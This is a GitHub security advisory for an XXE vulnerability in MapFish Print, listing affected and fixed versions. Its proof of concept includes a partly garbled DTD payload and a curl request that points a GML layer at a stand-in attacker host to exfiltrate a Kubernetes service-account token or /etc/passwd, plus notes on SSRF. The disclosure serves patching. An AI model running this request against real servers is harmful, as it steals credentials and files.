GitHub Advisoryadvisory · Maven
GHSA-5v29-34h8-v68r MapFish Print has XXE that allows reading arbitrary files of certain types
HIGH
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- Aliases
- CVE-2026-55848
- Ecosystem
- Maven
- Packages
- org.mapfish.print:print-lib, org.mapfish:print.print-servlet, org.mapfish.print:print-servlet
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-611
- Reviewed
- 2026-08-28
Affected packages
• Maven org.mapfish.print:print-lib: >= 3.0.0, < 3.28.30 → fixed in 3.28.30
• Maven org.mapfish:print.print-servlet: >= 3.0.0, < 3.28.30 → fixed in 3.28.30
• Maven org.mapfish.print:print-lib: >= 3.29.0, < 3.30.32 → fixed in 3.30.32
• Maven org.mapfish.print:print-servlet: >= 3.29.0, < 3.30.32 → fixed in 3.30.32
• Maven org.mapfish.print:print-servlet: >= 3.31.0, < 3.31.24 → fixed in 3.31.24
• Maven org.mapfish.print:print-lib: >= 3.32.0, < 3.33.16 → fixed in 3.33.16
• Maven org.mapfish.print:print-servlet: >= 3.32.0, < 3.33.16 → fixed in 3.33.16
• Maven org.mapfish.print:print-lib: >= 3.34.0, < 4.0.5 → fixed in 4.0.5
• Maven org.mapfish.print:print-servlet: >= 3.34.0, < 4.0.5 → fixed in 4.0.5
Description
Summary
XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.
https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507
Details
To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.
The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.
PoC
Host this php file somewhere as xxe.php:
```
%dtd;
]>
unknown
";
```
and beneath host this "evil.dtd"
`">
%exfil;
%error;`
Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)
`curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \
-H 'Content-Type: application/json' \
-d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'`
Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.
It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://
Impact
disclose local files. blind(ish) SSRF (depends on the servers response data)
Related
Alias · CVE (1)
- CVE-2026-55848 mapfish-print is a component of MapFish for printing templated cartographic maps. vulnerability
Weakness · CWE (1)
- CWE-611 Improper Restriction of XML External Entity Reference weakness
References
- https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r web
- https://github.com/mapfish/mapfish-print/pull/4221 web
- https://github.com/mapfish/mapfish-print/pull/4219 web
- https://github.com/mapfish/mapfish-print/pull/4217 web
- https://github.com/mapfish/mapfish-print/pull/4216 web
- https://github.com/mapfish/mapfish-print/pull/4215 web
- https://github.com/mapfish/mapfish-print/pull/4212 web
- https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1 web
- https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236 web
- https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d web
- https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb web
- https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121 web
- https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec web
- https://github.com/mapfish/mapfish-print/releases/tag/3.28.30 web
- https://github.com/mapfish/mapfish-print/releases/tag/3.30.32 web
- https://github.com/mapfish/mapfish-print/releases/tag/3.31.24 web
- https://github.com/mapfish/mapfish-print/releases/tag/4.0.5 web
- https://github.com/mapfish/mapfish-print package